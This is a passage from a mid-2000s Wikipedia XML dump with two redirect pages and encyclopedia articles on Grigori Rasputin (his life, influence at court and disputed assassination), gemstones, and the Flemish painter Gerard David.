      <timestamp>2002-08-23T04:20:49Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Sex organ]]</text>
    </revision>
  </page>
  <page>
    <title>GTIN</title>
    <id>12803</id>
    <revision>
      <id>25468327</id>
      <timestamp>2005-10-13T23:48:22Z</timestamp>
      <contributor>
        <username>Tobias Conradi</username>
        <id>10784</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Global Trade Item Number]]</text>
    </revision>
  </page>
  <page>
    <title>Grigori Rasputin</title>
    <id>12804</id>
    <revision>
      <id>42117273</id>
      <timestamp>2006-03-03T23:00:41Z</timestamp>
      <contributor>
        <ip>199.95.32.10</ip>
      </contributor>
      <comment>/* Early life */</comment>
      <text xml:space="preserve">[[Image:Rasputin.jpg|thumb|right|Grigori Rasputin]]
'''Grigori Yefimovich Rasputin''' ({{lang-ru|Григо́рий Ефи́мович Распу́тин}}) ([[10 January]] [[1869]] &amp;ndash; {{OldStyleDate|29 December|1916|16 December}}) was a [[Russia]]n [[Mysticism|mystic]] with an influence in the later days of Russia's [[Romanov]] dynasty. Rasputin played an important role in the lives of the [[Russian Tsars|Tsar]] [[Nicholas II of Russia|Nicholas II]], his wife the [[Tsarina]] [[Alexandra of Hesse|Alexandra]], and their only son the [[Tsarevich]] [[Tsarevich Alexei of Russia|Alexei]], who suffered from [[hemophilia]].

Rasputin has often been called the '''Mad Monk''', although he was never a [[monk]] and made no secret of being married. Some considered him to be a &quot;strannik&quot; (religious [[pilgrim]]) or even a [[starets]] (ста́рец) (&quot;elder&quot;, a title usually reserved for monk-confessors) and believed him to be a psychic and faith healer. He can be considered one of the more controversial characters in [[20th century]] history, although Rasputin is viewed by most historians today as a [[scapegoat]]. He played a small but spectacular role in the downfall of the [[Romanov]] dynasty.

Rasputin's birth date is questionable. &quot;It is still not known with any certainty when Rasputin was born, and all the books which deal with him and his career give differing dates; not even his biographers — and there have been many — have been able to agree.  The closest one can come with certainty is sometime between the years 1863 and 1873.&quot; (Heinz Liepman, ''Rasputin and the Fall of Imperial Russia'', 21).

==Early life==
Grigory Efimovich Rasputin was possibly born a peasant in a small Siberian village along the [[Tura River]] called Pokrovskoye.  This village was located in the [[Tobolsk]] ''[[guberniya]]'' (now in [[Tyumen Oblast]], Russia).  When he was around the age of eighteen, he spent three months in the [[Verkhoturye Monastery]]. There, he joined the [[Khlysty]], a renegade sect of Russian Orthodox creed. Shortly after leaving the Monastery he visited a holy man named Makariy, whose hut was nearby. Makariy had an enormous influence on Rasputin, who would model himself after the older man. Rasputin married Praskovia Fyodorovna in 1889 and had three children with her (and another child with someone else). In 1901, he left his home in Pokrovskoye as a ''strannik'', or [[pilgrim]].  During the time of his journeying, he traveled to [[Greece]] and [[Jerusalem]]. In 1903, Rasputin arrived in [[Petrograd]] ([[Saint Petersburg]]), where he declared himself a ''starets'', or holy man, with healing and [[Prophet|prophetical]] powers.

==Healer to the Tsarevich==
There are many theories as to Rasputin's early life, but the most widely accepted by historians  is that of George Still, a British historian. 

Rasputin was wandering as a pilgrim in [[Siberia]] when he heard reports of [[Tsarevich]] Alexei's [[hemophilia]] in [[1904]].  The disease had been inherited from his great-grandmother ([[Victoria of the United Kingdom|Queen Victoria]]). Rasputin was regarded as the last resort of the desperate Tsar and Tsarina. When the young Tsarevich got a bruise while rowboating, he suffered from internal bleeding for days. The Tsar and Tsarina, looking everywhere for help, asked the charismatic peasant healer for help in [[1905]]. He was said to possess the ability to heal through [[prayer]], and he was indeed able to give the boy some relief. Skeptics have claimed that he did so by [[hypnosis]], though during a particularly grave crisis, Rasputin, from his home in Siberia, was believed to have eased the suffering of the tsarevich (in [[Saint Petersburg]]) through prayer.

The Tsar referred to Rasputin as 'our friend', a sign perhaps of the trust the family put in him. Rasputin had considerable personal and political influence on Alexandra especially after Alexei encountered a [[bee]] attack in the summer of [[1905]]. Rasputin allegedly ran to the boy's help and yelled at the bees, &quot;ужальте его и вы умретe!&quot; (&quot;Sting him and you will die!”).Supposedly the bees left because of Rasputin's holy powers, but now it is more commonly believed that the bees left because their hive was no longer being threatened.
His position within the church further enabled him to influence young Alexei; it was verified that before the pair were introduced, the Tsarina lamented her son 'made Jesus sad' with his blasphemous ways. However, upon meeting Rasputin, she proclaimed exultantly that Alexei had 'learned the error of his ways'.  
The Tsar and Tsarina considered him to be a man of [[God]] and a religious [[prophet]], and Alexandra believed God spoke to her through Rasputin. This relationship can also be viewed in the context of the very strong, traditional, age-old bond between the [[Russian Orthodox Church]] and the Russian leadership. Another important factor was probably the Tsarina's German-Protestant origin: she was highly fascinated by her new Orthodox religion, but seems to have lacked some [[discernment]] regarding its practices.

==Controversy==
Rasputin in the meantime became a controversial figure, leading a scandalous personal life with his mostly female followers from Saint Petersburg high society. Furthermore, he was frequently seen picking up [[prostitute]]s, and drinking himself into a stupor, not arriving home until early in the morning.  He was unsavory, ill-mannered, bathed infrequently, and often exhibited outrageous behavior in public. 

While fascinated by him, the Saint Petersburg elite did not widely accept Rasputin.  He did not fit with the royal family.

Rasputin and Russian Orthodox Church had a very tense relationship. [[Holy Synod]] frequently attacked Rasputin, and because of this, a lot of fakelore about his life were deliberately spread by the competing religion. Therefore, a lot of anecdotal evidence about Rasputin's life has to be taken with a [[grain of salt]]. Because Rasputin was a court official, however, his apartment was under 24-hour surveillance, so there exists some credible evidence about his lifestyle.

According to Rasputin's daughter, Maria, Rasputin did &quot;look into&quot; the [[Khlysty]] sect, and rejected it.  While the Western world is particularly interested in the sexual practices of this sect (supposedly tied to a belief that one can only obtain a connection to God through sinning), Rasputin was particularly appalled by the belief that grace is found through self-flagellation.

Like most Orthodox Christians, Rasputin was brought up with the belief that the body is a sacred gift from God. Attaining divine grace through [[sin]] seems to have been one of the central secret doctrines that Rasputin preached to (and practised with) his inner circle of society ladies. The idea that one can attain grace through correction of sin is not unique. It is also understood that sin is an inescapable part of the human condition, and the responsibility of a believer is to be keenly aware of his sins and be willing to confess them, thereby attaining humility.

[[Image:Rasputincartoon.jpeg|thumb|left|200px|A 1916 cartoon suggesting Rasputin's influence over the Tzar and Tzarina]]
During [[World War I]] he became a focus of accusations of unpatriotic influence at court; the unpopular Tsarina was of [[Germany|German]] descent, and her &quot;friend&quot; Rasputin was accused of being a [[secret agent|spy]] in German employ. 

When Rasputin expressed an interest in going to the front to bless the troops early in the war, the Commander-in Chief, [[Grand Duke Nicholas]], promised to hang him if he showed up. Rasputin then claimed that he had a revelation that the Russian armies would not be successful until the Tsar personally took command. This the ill-prepared Nicholas proceeded to do with dire consequences for himself and for Russia. 

While Tsar Nicholas II was away at the front, Rasputin’s influence over Tsarina Alexandra increased immensely.  He soon became the confidant and personal advisor of Alexandra.  He also convinced her to fill some government offices with his own handpicked candidates.  To further advance his power, Rasputin slept with upper-class women in exchange for granting political favors.  Because of World War I, and to a lesser extent because of Rasputin, Russia’s economy was declining at a rapid rate.  Many placed the blame with Alexandra, and with Rasputin, because of his influence over her.  An example:

''[[Vladimir Purishkevich]] was an outspoken member of the [[Duma]].  On November 19, 1916, Purishkevich made a rousing speech in the Duma, in which he stated, 'The tzar’s ministers who have been turned into marionettes, marionettes whose threads have been taken firmly in hand by Rasputin and the Empress Alexandra Fyodorovna — the evil genius of Russia and the czarina… who has remained a German on the Russian throne and alien to the country and its people.'  [[Felix Yusupov]] attended the speech and afterwards contacted Purishkevich, who quickly agreed to participate in the murder of Rasputin.''

Rasputin’s influence over the royal family was used against him and the [[Romanov|Romanovs]] by politicians and journalists who wanted to weaken the integrity of the dynasty, make the Tsar give up his absolute political power, and separate the Russian Orthodox Church from the state.  Rasputin unintentionally contributed to the propaganda by having public disputes with clergy members, bragging over his ability to influence both the Tsar and Tsarina, and by his dissolute lifestyle. Nobles in influential positions around the Tsar as well as some parties of the [[Duma]], the Russian parliament, clamoured for his removal from the court. Perhaps inadvertently, Rasputin added to diminishing respect for the Tsar by his subjects.

==Assassination beliefs==
The legends recounting the death of Rasputin are perhaps even more bizarre than his strange life. Having decided that Rasputin's influence over the Tsarina made him too dangerous to the Empire, a group of nobles apparently lured Rasputin to the palace of their ringleader, Prince [[Felix Yusupov]], where they served him cakes and red wine laced with measured amounts of [[cyanide]]. According to the legend, Rasputin was not affected. (It is rumored that the amount of cyanide was enough to kill ten men.) Determined to finish the job, Yusupov went upstairs, then came back down and shot him through the chest with a revolver. Rasputin fell. A half an hour or so later when Yusupov returned to check the body (or as some versions go, Yusupov came back for his jacket), Rasputin sprang to his feet and began to throttle Yusupov, who fled in horror and told the other conspirators.

Heavily drugged by this time, Rasputin muzzily attempted his own escape. He bolted outside and ran across the courtyard toward the gate, threatening that he would tell everything to the Tsarina. Another conspirator shot three bullets that passed Rasputin, then he shot two more which hit Rasputin. The conspirators then clubbed him unconscious and flung him into the icy Neva River, but there was no splash. Rasputin had fallen on the ice (it was winter at this time), so they went down and cut a hole in the ice and stuffed him through it into the icy water. They were finally satisfied that the &quot;Enemy of the State&quot; was dead.

Three days later the body of Rasputin - poisoned, shot three times, and badly beaten - was recovered from the river and autopsied. The cause of death was drowning. His arms were apparently found in an upright position, as if he had tried to claw his way out from under the ice.

===Recent evidence===

The details of the assassination given by [[Felix Yusupov]] have never stood up to close examination. The statement given to the Petrograd police on [[16 December]]; the account he gave whilst in exile in the [[Crimea]] in 1917; his 1927 book, and the accounts given under oath to libel juries in 1934 and 1965. No two accounts were entirely identical. Until recently, lack of proof has ruled out any other credible evidence-based theories.

According to the unpublished 1916 [[autopsy]] report by Professor Kossorotov and subsequent reviews by Dr Vladimir Zharov in 1993 and Professor Derrick Pounder in 2004/5, no active [[poison]] was found in Rasputin's stomach. It couldn't have been said with certainty that he drowned, as the water found on his lungs is a common non-specific autopsy finding. All three agreed that Rasputin had been systematically beaten and attacked with a bladed weapon, but most importantly there were discrepancies regarding the number and calibre of handguns used.

This discovery may have significantly changed the whole premise and account of Rasputin's death. British intelligence reports between [[London]] and [[Petrograd]] in 1916 indicate that the British were extremely concerned about Rasputin's replacement of pro-British ministers in the Russian government, but more importantly his apparent insistence on withdrawing Russian troops from the [[First World War]]. This withdrawal would have allowed the Germans to move their Eastern Front troops to the Western Front, massively outnumbering the Allies and spelling almost certain victory. Whether this was actually Rasputin's intention is in dispute, but it is clear that the British viewed him as a real danger.

According to Professor Pounder, of the three shots fired into Rasputin's body, the third (which entered his forehead) was instantly fatal. This third shot also provides some intriguing evidence. In Pounder's view, concurred by the firearms department of the [[Imperial War Museum]] in London, the third shot was fired by a gun different to those responsible for the other two wounds. The &quot;size and prominence of the abraded margin&quot; suggested a large lead non-jacketed bullet. At that time, the majority of weapons used hard metal jacketed bullets, with Britain virtually alone in using lead unjacketed bullets for their officers' [[Webley]] revolvers. Pounder came to the conclusion that the bullet which caused the fatal shot was a Webley .455 inch unjacketed round, and was the best fit with the available forensic evidence.

Witnesses to the murder itself have stated that the only man present with a Webley revolver was one Lieutenant [[Oswald Rayner]], a British officer who was attached to the SIS station in Petrograd. This account was further backed up during an audience between the British Ambassador, [[George Buchanan (diplomat)|Sir George Buchanan]], and Tsar Nicholas, when Nicholas stated that he suspected a young Englishman who had been an old school friend of Yusopov. Indeed, Rayner had known Yusopov at [[Oxford University]]. Another SIS officer in Petrograd at the time, Captain Stephen Alley, had actually been born in the Yusopov Palace in 1876, and both families had strong ties.

Confirmation that Rayner, along with another officer, Captain John Scale, met with Yusopov in the weeks leading up to the assassination can be found in the diary of their [[chauffeur]], William Compton, who recorded all the visits. The last entry was the night before the murder. According to Compton, &quot;it is a little known fact that Rasputin was shot not by a Russian but by an Englishman&quot;. He indicated that the culprit was a lawyer from the same part of the country as Compton himself. Dewdney was indeed born some ten miles from Compton's hometown, and throughout his life described himself as a &quot;[[Barrister|barrister-at-law]]&quot;, despite never practising that profession.

Evidence that the assassination attempt had not gone quite to plan is hinted at in a letter that Alley wrote to Scale eight days after the murder, saying &quot;Although matters here have not proceeded entirely to plan, our objective has clearly been achieved... a few awkward questions have already been asked about wider involvement. Rayner is attending to loose ends and will no doubt brief you&quot;.

Upon his return to England, Oswald Rayner not only confided to his cousin, Rose Jones, that he had been present at Rasputin's murder, but also showed family members a bullet which he claimed he had acquired at the murder scene.

None of this is absolutely conclusive evidence of what happened that night of [[16 December]] - [[17 December]], but it provides a more logical evidence-based account of what occurred. Rayner burnt all his papers before he died in 1961, and his only son also died four years later.

==&quot;The spirit of Grigori Yefimovich Rasputin&quot;==
After his death, his secretary Simonovich realized that Rasputin had moved a lot of money into his daughter Maria's account, and generally set all his affairs in order.

Weeks before he was assassinated in December 1916, according to his secretary Simanovich, Rasputin wrote the following:

&quot;I write and leave behind me this letter at St. Petersburg. I feel that I shall leave life before January 1.  I wish to make known to the Russian people, to Papa, to the Russian Mother and to the Children, to the land of Russia, what they must understand.  If I am killed by common assassins, and especially by my brothers the Russian peasants, you, Tsar of Russia, will have nothing to fear for your children, they will reign for hundreds of years in Russia.  But if I am murdered by boyars, nobles, and if they shed my blood, their hands will remain soiled with my blood, for twenty-five years they will not wash their hands from my blood.  They will leave Russia.  Brothers will kill brothers, and they will kill each other and hate each other, and for twenty-five years there will be no nobles in the country.  Tsar of the land of Russia, if you hear the sound of the bell which will tell you that Grigori has been killed, you must know this: if it was your relations who have wrought my death, then no one in the family, that is to say, none of your children or relations, will remain alive for more than two years. They will be killed by the Russian people.  I go, and I feel in me the divine command to tell the Russian Tsar how he must live if I have disappeared.  You must reflect and act prudently. Think of your safety and tell your relations that I have paid for them with my blood. I shall be killed. I am no longer among the living.  Pray, pray, be strong, think of your blessed family.
-Grigori&quot;

Why he wrote this prophetic letter, if it was not made up by Simonovich, is a mystery. Some speculate that Rasputin had a spiritual vision foreshadowing such an event. Others believe that Rasputin knew that he was widely reviled by the Russian people at the time he wrote the letter and that some wanted to kill him.

==Reputation==
[[Image:Rasputin2.jpg|thumb|right|200px]]
The contemporary press, as well as sensationalist articles and books published in the [[1920s]] and [[1930s]] (one of them even by Yussoupov), turned the charismatic peasant into something of a [[twentieth century]] folk belief. To Westerners, Rasputin became the embodiment of purported Russian backwardness, superstition, irrationality and licentiousness, and an object of sensational interest; to the Russian [[Communism|Communists]], he represented all that was evil in the old regime and had been overcome in the revolution. Yet to some Russians, he remained a symbol of the voice of the peasantry, and some (Russians) to this day reject the beliefs, honoring the man. However, the Moscow Patriarchate has condemned the fledgling movement seeking canonization of Rasputin.  In reference to Rasputin's promiscuity, Moscow's Patriarch Alexei II said in a statement in 2003:  &quot;This is madness! What believer would want to stay in a Church that equally venerates murderers and martyrs, lechers and saints?&quot;. 

Since the fall of Communism in Russia in the [[1990s]], some Russian nationalists appeared to have tried to whitewash Rasputin's reputation, and use the powerful twentieth century archetype he has become for their own end. New evidence that has surfaced since the end of the [[Soviet Union]], however, at first appeared to refute their claims of his saintliness.

This documentation is primarily in the form of notes written by individuals paid to keep surveillance on Rasputin's apartment, and to record his comings and goings as well as make note of visitors. This was no secret at the time, and Rasputin occasionally expressed his annoyance. It has been remarked in books written as early as [[1919]] that those notes are, at best, highly questionable, intending to &quot;prove&quot; the allegations of those who paid to have such &quot;proof&quot; documented.

====Virgins' hair====
Rasputin is reputed to have cut locks of hair from the virgins with whom he had sex. When his house was pulled down in 1977, the authorities unearthed several boxes containing hair buried in the garden.

==Name meaning==
The name ''Rasputin'' in Russian does not mean &quot;licentious,&quot; as is often claimed. There is, however, a very similar Russian adjective ''rasputny'' (распу́тный) which does mean &quot;licentious&quot; and the corresponding noun ''rasputnik''. There is no definite explanation of the origin of this not uncommon surname which does not have a &quot;disgraceful&quot; meaning, as the contemporary Russian writer [[Valentin Rasputin]] would be quick to explain. There are at least two options for the [[root (linguistics)|root of the word]]. One of them is ''&quot;put' ,&quot;'' which means &quot;way,&quot; &quot;road.&quot; Close nouns are ''rasputye'', a place where the roads diverge or converge and  ''[[rasputitsa]]'' (распу́тица, &quot;muddy road season&quot;). In [[occult]] traditions, a crossroad is a place of magical portent for good as well as evil; various folk beliefs state that one might meet the [[devil]] there, but also [[Saint Peter]]. Some historians argue that the name Rasputin may be a place name, since it roughly signifies &quot;a place where two rivers meet&quot;, which describes the area from which the Rasputin family originates. 
Another possibility is ''&quot;put', &quot;'' which gives rise to the verb &quot;putat' &quot;: &quot;entangle&quot; or &quot;mix up,&quot; with &quot;rasputat' &quot; being its [[antonym]]: &quot;detangle,&quot; &quot;untie,&quot; &quot;clean up a misunderstanding,&quot; etc. 

However the most well founded explanation is a standard Russian surname derivation from the old Slavic name &quot;Rasputa&quot; (&quot;Rasputko&quot;) (recorded as early as in sixteenth century) with the meaning &quot;ill-behaved child,&quot; the one whose ways are against traditions or the will of parents. 

It is said that Rasputin tried to have his name changed to the inconspicuous &quot;Novykh&quot; after his first pilgrimage to the Holy Land (&quot;Novykh&quot; - from the Russian Новый, &quot;New&quot;, connotes to &quot;Novice&quot;), but that is a subject of dispute.

==See also==

*[[Rasputin in the Media]]

==External links==
{{Commons|Григорий Ефимович Распутин}}
*[http://www.freeinfosociety.com/site.php?postnum=53 Biography and Pictures]
*[http://www.eurohistory.com/Rasputin.html The Evil Monk: The Life and Times of Gregory Efimovich Rasputin]
*[http://encarta.msn.com/encyclopedia_761567081/Rasputin_Grigory_Yefimovich.html Rasputin, Grigory Yefimovich, Microsoft Encarta Online Encyclopedia]
*[http://encarta.msn.com/encyclopedia_761569348/Russian_Revolutions_of_1917.html Russian Revolutions of 1917]
*[http://www.alexanderpalace.org/palace/Rasputin.html The Alexander Palace Time Machine Bios-Rasputin]
*[http://history1900s.about.com/library/weekly/aa020801a.htm The Murder of Rasputin]
*[http://www.rasputinthemusical.com  Rasputin the Musical by Michael Rapp and Ozzy Osbourne]
*[http://www.bbc.co.uk/pressoffice/pressreleases/stories/2004/09_september/19/rasputin.shtml BBC's Rasputin murder reconstruction]

[[Category:1869 births|Rasputin, Grigori]]
[[Category:1916 deaths|Rasputin, Grigori]]
[[Category:Cause of death disputed|Rasputin, Grigori]]
[[Category:Firearm deaths|Rasputin, Grigori]]
[[Category:Russian people|Rasputin, Grigori]]
[[Category:Assassinated people|Rasputin, Grigori]]
[[Category:Mysterious people|Rasputin, Grigori]]
[[Category:Russian Orthodox Christians|Rasputin, Grigori]]

[[ca:Grigori Yefimovich Rasputin]]
[[de:Grigori Jefimowitsch Rasputin]]
[[et:Grigori Rasputin]]
[[es:Grigori Rasputin]]
[[fr:Raspoutine]]
[[id:Grigori Yefimovich Rasputin]]
[[io:Rasputin]]
[[it:Rasputin]]
[[he:גריגורי רספוטין]]
[[nl:Grigori Raspoetin]]
[[ja:ラスプーチン]]
[[no:Grigorij Rasputin]]
[[pl:Grigorij Rasputin]]
[[pt:Grigori Rasputin]]
[[ro:Grigori Rasputin]]
[[ru:Распутин, Григорий Ефимович]]
[[sl:Grigorij Jefimovič Rasputin]]
[[fi:Grigori Rasputin]]
[[sv:Grigorij Rasputin]]
[[zh:格里高利·叶菲莫维奇·拉斯普京]]</text>
    </revision>
  </page>
  <page>
    <title>Gemstone</title>
    <id>12806</id>
    <revision>
      <id>40118277</id>
      <timestamp>2006-02-18T06:51:19Z</timestamp>
      <contributor>
        <username>Spangineer</username>
        <id>133298</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/58.11.49.214|58.11.49.214]] ([[User talk:58.11.49.214|talk]]) to last version by Natalinasmpf</comment>
      <text xml:space="preserve">[[Image:Gem.pebbles.800pix.labelled.jpg|right|thumb|300px|A selection of gemstone pebbles made by tumbling rough rock with abrasive grit, in a rotating drum. The biggest pebble here is 40 mm long (1.6 inches).]]

:''This article is about gemstones as jewelry or decorative art. For other uses of the word see ([[Gemstone (disambiguation)]]).''
A '''gemstone''' is a [[mineral]], [[Rock (geology)|rock]], such in the case of [[lapis lazuli]], or [[Petrification|petrified]] material that when cut or faceted and polished is [[collectible]] or can be used in [[jewellery]]. Others are [[organic chemistry|organic]], such as [[amber]], which is [[fossil]]ised tree resin and [[Jet (lignite)|jet]], a form of [[coal]]. Some gemstones which may be generally considered precious or beautiful are too soft or too fragile to be used in jewelry, for example, single-crystal [[rhodochrosite]], but are exhibited in [[museum]]s and are sought by [[collector]]s.

==Characteristics and classification==

Gemstones are described by [[gemology|gemologists]] using [[technical terminology|technical specifications]]. First, what is it made of, its [[chemical composition]]. Diamonds for example are made of [[carbon]] (C), rubies of [[aluminium]] oxide (Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;). Next, many gems are crystals which are classified by [[crystal system]] such as [[cubic]] or [[trigonal]] or [[monoclinic]]. Another term used is [[crystal habit|habit]], the form the gem is usually found in, for example diamonds which have a cubic crystal system are often found as octahedrons.

Gems are classified into different ''groups'', ''species'' and ''varieties''. For example, ruby is the red variety of the species corundum that belongs to the [[spinel]] or [[hematite]] group. Emerald (green), aquamarine (blue), bixbite (red), goshenite (colorless), heliodor (yellow), and morganite (pink) are all varieties of the mineral species [[beryl]].

Gems have [[refractive index]], [[dispersion (optics)|dispersion]], [[specific gravity]], [[Mohs scale of mineral hardness|hardness]], [[Cleavage (crystal)|cleavage]], [[fracture]] and [[luster]]. They may exhibit [[pleochroism]] or [[double refraction]]. They may have [[luminescence]] and a distinctive [[absorption spectrum]].

Material or flaws within a stone may be present as ''inclusions''. The gem may occur in certain locations, the &quot;occurrence.&quot;

==Value==

[[Image:Amber.pendants.800pix.050203.jpg|right|thumb|300px|Jewellery made with gem amber]]
A gemstone is prized especially for great beauty or perfection so appearance is almost the most important attribute of gemstones.  Characteristics that make a stone beautiful or desirable are colour, unusual [[optical phenomena]] within the stone, an interesting inclusion such as a [[fossil]], rarity, and sometimes the form of the natural crystal.  Diamond is prized highly as a gemstone since it is the hardest substance known and is able to reflect light with fire and sparkle when faceted.  However, diamonds are far from rare with millions of carats mined each year.  

Traditionally, common gemstones were classified into '''precious stones''' (''cardinal gems'') and '''semi-precious stones'''. The former category was largely determined by a history of ecclesiastical, devotional or ceremonial use and rarity. Only five types of gemstones were considered precious: [[diamond]], [[ruby]], [[sapphire]], [[emerald]], and [[amethyst]]. In current usage by [[Gemology|gemologists]], all gems are considered ''precious'', although four of the five original &quot;cardinal gems&quot; are usually&amp;mdash;but not always&amp;mdash;the most valuable. 

Rare or unusual gemstones, generally meant to include those gemstones which occur so infrequently in gem quality that they are scarcely known except to connoisseurs, include [[andalusite]], [[axinite]], [[cassiterite]], [[clinohumite]] and [[iolite]].

==Factors Influencing Esteem==
Factors influencing the esteem in which gems are held are attractiveness, durability, rarity, fashion, and size.

==Synthetic and artificial gemstones==
Some gemstones are manufactured to imitate other gemstones. For example, [[cubic zirconia]] is a synthetic [[diamond simulant]] composed of [[zirconium]] oxide. The imitations copy the look and colour of the real stone but possess neither their chemical nor physical characteristics. However, true synthetic gemstones are not necessarily imitation. For example, diamonds, [[ruby]], [[sapphire]]s and [[emerald]]s have been manufactured in labs, which possess very nearly identical chemical and physical characteristics to the genuine article. Synthetic [[corundum]]s, including ruby and sapphire, are very common and they cost only a fraction of the natural stones. Smaller [[synthetic diamond]]s have been manufactured in large quantities as industrial [[abrasive]]s for many years. Only recently, larger synthetic diamonds of gemstone quality, especially of the coloured variety, have been manufactured.

==Gemstone list==
There are over 130 species of minerals that have been cut into gems with 50 species in common use. These include:
*[[Agate]]
*[[Alexandrite]] and other varieties of [[chrysoberyl]]
*[[Amethyst]] (originally a &quot;cardinal gem&quot;, but now no longer so, since huge quantities were discovered in [[Brazil]] and the price plummeted)
*[[Aquamarine]] and other varieties of [[beryl]]
*[[Chrysocolla]]
*[[Chrysoprase]]
*[[Diamond]]
*[[Emerald]]
*[[Feldspar]] ([[Orthoclase|moonstone]])
*[[Garnet]]
*[[Hematite]]
*[[Jade]] - [[jadeite]] and [[nephrite]]
*[[Jasper]]
*[[Kunzite]]
*[[Lapis lazuli]]
*[[Malachite]]
*[[Obsidian]]
*[[Olivine]] (Peridot)
*[[Opal]] (Girasol)
*[[Pyrite]]
*[[Quartz]] and its varieties, such as [[tiger's-eye]], [[citrine]], [[agate]], and [[amethyst]]
*[[Ruby]]
*[[Sapphire]]
*[[Spinel]]
*[[Sugilite]]
*[[Tanzanite]] and other varieties of [[zoisite]]
*[[Topaz]]
*[[Turquoise]]
*[[Tourmaline]]
*[[Zircon]]

Minerals that infrequently occur in gem quality form:
*Andalusite
*Axinite
*[[Benitoite]]
*[[Bixbyte]] (Red beryl)
*Cassiterite
*[[Clinohumite]]
*[[Cordierite|Iolite]]
*Kornerupine
*Natural [[moissanite]]
*[[Zeolite]] (Thomsonite)

Artificial or synthetic materials used as gems include:
*High-lead [[glass]]
*Synthetic [[cubic zirconia]]
*Synthetic [[corundum]]
*Synthetic [[spinel]]
*Synthetic [[moissanite]]

There are a number of organic materials used as gems, including:
*[[Amber]]
*[[Bone]]
*[[Coral]]
*[[Ivory]]
*[[Jet (lignite)]]
*[[Mother of pearl]]
*[[Ammolite]] - from fossils formed from the shells of extinct [[ammonite]]s.
*[[Pearl]]
*[[Tortoiseshell]]

==See also==
*[[List of minerals]]
*[[List of fictional gemstones]]
*[[Lapidary]]
*[[Jewelry]]
*[[Precious metal]]

==References==
*Weinstein, Michael, 1958, ''The World of Jewel Stones'', Sheridan House, New York
*''The Audubon Society Field Guide to North American Rocks and Minerals'', 1978, New York, Alfred A. Knopf ISBN 0394502698
*Hurlbut, Cornelius S.; Klein, Cornelis, 1985, Manual of Mineralogy, 20th ed., John Wiley and Sons, New York ISBN 0471805807

==External links==
*[http://www.gemscape.com/html/misnomer.htm Misleading Gem Names]

[[Category:Gemstones| ]]

[[bg:Скъпоценен камък]]
[[da:Ædelsten]]
[[de:Schmuckstein]]
[[es:Gema]]
[[eo:Gemo]]
[[fr:Gemme]]
[[he:אבן חן]]
[[lt:Brangakmenis]]
[[nl:Edelsteen]]
[[ja:&amp;#23453;&amp;#30707;]]
[[pt:Gema (mineralogia)]]
[[ru:Драгоценные камни]]
[[simple:Gemstone]]
[[sk:Drahokam]]
[[sl:Dragulj]]
[[fi:Jalokivi]]
[[sv:Ädelsten]]
[[zh:寶石]]</text>
    </revision>
  </page>
  <page>
    <title>Gerard David</title>
    <id>12807</id>
    <revision>
      <id>40364163</id>
      <timestamp>2006-02-20T01:56:29Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Gerard_David_Aankondiging.jpg|thumb|Annunciation from 1506, [[Metropolitan Museum of Art]], [[New York]]]]
'''Gerard David''' (c. [[1455]], [[Oudewater]] - [[August 13th]] [[1523]], [[Bruges]]) was an [[early Dutch Renaissance]] [[artist]] known for his brilliant use of colour. He was born in [[Oudewater]], now located in [[Utrecht (province)|Utrecht]]. Most of his career took place in Bruges, where he was a member of the painters' [[guild]]. Upon the death of [[Hans Memling]] in [[1494]], David became Bruges' leading painter.

In the early 1860s David was rescued from oblivion by W. J. H. Weale, whose researches in the archives of Bruges brought to light the main facts of the painter's life. There is now documentary evidence for the following: that David came to Bruges in [[1483]], presumably from [[Haarlem]], where he had formed his early style under [[Albert van Ouwater]]; he joined the guild of St Luke at Bruges in [[1484]] and became dean of the guild in [[1501]]; in [[1496]] he married Cornelia Cnoop, daughter of the dean of the [[goldsmith]]s' guild; he became one of the town's leading citizens; he died on August 13, 1523 and was buried in the Church of Our Lady at Bruges. 

In his early work, David had followed Haarlem artists such as [[Dirck Bouts]], Ouwater and [[Geertgen tot Sint Jans]], though he had already given evidence of superior power as a colourist. To this early period belong the ''St John'' of the Kaufmann collection in [[Berlin]] and the Saltings ''St Jerome''. In Bruges he studied and copied masterpieces by the [[Van Eyck]]s, [[Rogier van der Weyden]], and [[Hugo van der Goes]]. Here he came directly under the influence of Memling, the master whom he followed most closely. It was from him that David acquired a solemnity of treatment, greater realism in the rendering of human form, and an orderly arrangement of figures. 

Another master was to influence him later in life, when in [[1515]] he visited [[Antwerp]] and was impressed with the work of [[Quentin Matsys]], who had introduced a greater vitality and intimacy in the conception of sacred themes. David's ''Pietà'' in the [[National Gallery, London]], and the ''Descent from the Cross'' in the Cavallo collection [[Paris]] (Guildhall, 1906), were painted under this influence and are remarkable for their sense of dramatic movement. But the works on which David's fame has rested most securely are the great [[altarpiece]]s he painted before his visit to Antwerp: the ''Marriage of St Catherine'', at the National Gallery; the triptych of the ''Madonna Enthroned and Saints'' of the Brignole-Sale collection in [[Genoa]]; the ''Annunciation'' of the Sigmaringen collection; and above all, the ''Madonna with Angels and Saints'', which he painted without asking a fee from the [[Carmelite]] Nuns of [[Sion]] at Bruges, and which is now in the [[Rouen]] museum. 

Only a few of his works have remained in Bruges: ''The Judgment of Cambyses'', ''The Flaying of Sisamnes'' and the ''Baptism of Christ'' in the town museum, and the ''Transfiguration'' in the Church of Our Lady. The rest were scattered around the world, and to this may be due the oblivion into which his very name had fallen; this, and the fact that, for all the beauty and the soulfulness of his work, he had nothing innovative to add to the history of art.  Even in his best work he had only given newer variations of the art of his predecessors and contemporaries. His rank among the masters was renewed, however, when a considerable number of his paintings were assembled at Bruges for a [[1902]] exhibition of the early Flemish painters. 

At the time of David's death, the glory of Bruges and its painters was on the wane: Antwerp had become the leader in art as well as in political and commercial importance. Of David's pupils in Bruges, only [[Adriaen Isenbrandt|Isenbrandt]], [[A. Cornelis]] and [[Ambrosius Benson]] achieved importance. Among other Flemish painters, [[Joachim Patinir]] and [[Jan Mabuse]] were to some degree influenced by him.

Eberhard Freiherr von Bodenhausen published in 1905 a very comprehensive [[monograph]] on Gerard David and his School (Munich, F. Bruckmann), together with a ''[[catalogue raisonné]]'' of his works, which, after careful analysis, are reduced to a total of forty-three.

==External links==
